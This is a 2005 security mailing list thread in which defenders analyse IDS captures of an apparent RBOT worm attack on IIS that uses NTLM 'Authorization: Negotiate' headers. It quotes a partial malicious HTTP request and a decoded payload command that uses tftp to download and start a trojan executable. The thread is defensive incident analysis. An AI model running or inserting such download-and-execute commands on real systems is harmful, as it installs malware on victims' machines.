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Re: New http attack?

From: Kevin Timm (ktimm05gmail.com)
Date: Thu Jun 09 2005 - 17:04:16 CDT


As far as IP selection it would seem that is not even "network
selection scanning". I've seen the same host scan for only 2 ip's in
the same network 30 minutes apart. The variant I saw would attack
Apache as well as Windows so it wasn't very intelligent in target
selection. That is a differnt exe than I have seen.

On 6/9/05, Ron <iagovalhallalegends.com> wrote:
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> Out of curiosity, I notice that when I decode any hit on my IDS with
> that exploit, it ends up with the following command (along with
> shellcode and padding, of course):
>
> cmd /c tftp -i 0.0.0.0 GET wuamkop.exe&start wuamkop.exe&exit
>
> Do you know why it would be "0.0.0.0"? Is it just failing to get the
> proper ip for the trojan or what?
>
> Thanks,
> Ron
>
>
> Kirby Angell wrote:
> > - From http://isc.sans.org/diary.php?date=2005-06-03:
> >
> > "On a similar note, we've had one report of what looks to be like
> > another RBOT vector, this time SMB over HTTP. An IIS server will accept
> > multiple forms of authentication, including (non-IIS folks cover your
> > eyes, this will hurt) NTLM via base64 encoding. You looked....I warned
> > you! Look for:
> >
> > GET / HTTP/1.0
> > Host: xxx.xxx.xxx.xxx
> > Authorization: Negotiate
> > YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQ.....
> >
> > All that gibberish can be decoded with good ol' "mimencode -u" to reveal
> > an RBOT tftp download command. The long and short of it is POLP -
> > Principle of Least Privilege. Disable any authentication methods that
> > are unnecessary, especially on your big-bad-world-facing servers. Me, I
> > don't trust anyone to play nicely, inside or out."
> >
> > Keith T. Morgan wrote:
> >
> >>>A google search didn't turn up anything of value on this, so I'm posting
> >>>to the list. If I've missed something that's common knowledge here, I
> >>>appologize for inverting the signal/noise ratio a bit with this post.
> >>>
> >>>We've seen an attack that triggered a snort bleeding-edge hit for "smb
> >>>over http authentication." This isn't particularly alarming, but, what
> >>>caught my attention is what appears to be a very large buffer in part of
> >>>the packet.
> >>>
> >>>The ascii decoded capture looks a bit like this:
> >>>
> >>>GET / HTTP/1.0
> >>>Host: obfuscated
> >>>Authorization: Negotiate <what may be an encrypted password>
> >>>QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB.
> >>>
> >>>This "QUFB" string is repeated for 1400 bytes or so, and I'm assuming
> >>>went beyond the single packet capture I have.
> >>>
> >>>The IIS logs indicate a simple GET / with a 401 response code.
> >>>
> >>>Has anyone seen this "QUFBQUFB" string in a worm, virus, or exploit
> >>>floating around out there somewhere? I think chances of this being a FP
> >>>are low since we're not using NTLM or windows native/ad authentication
> >>>on this site.
> >>>
> >>>
> >>>-- Keith Morgan
> >>>-- CISSP, MCP, CCSE/CCSA
> >>>
> >>>"Hey Pants... Any advice for getting through turn 1 with 55 motorcycles
> >>>on the grid?"
> >>>"Yeah. Don't Crash."
> >>>-- Sage motorcycle roadracing advice from Shawn (Pants) Romano
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> >
> >
> > --
> > Thank you,
> >
> > Kirby Angell
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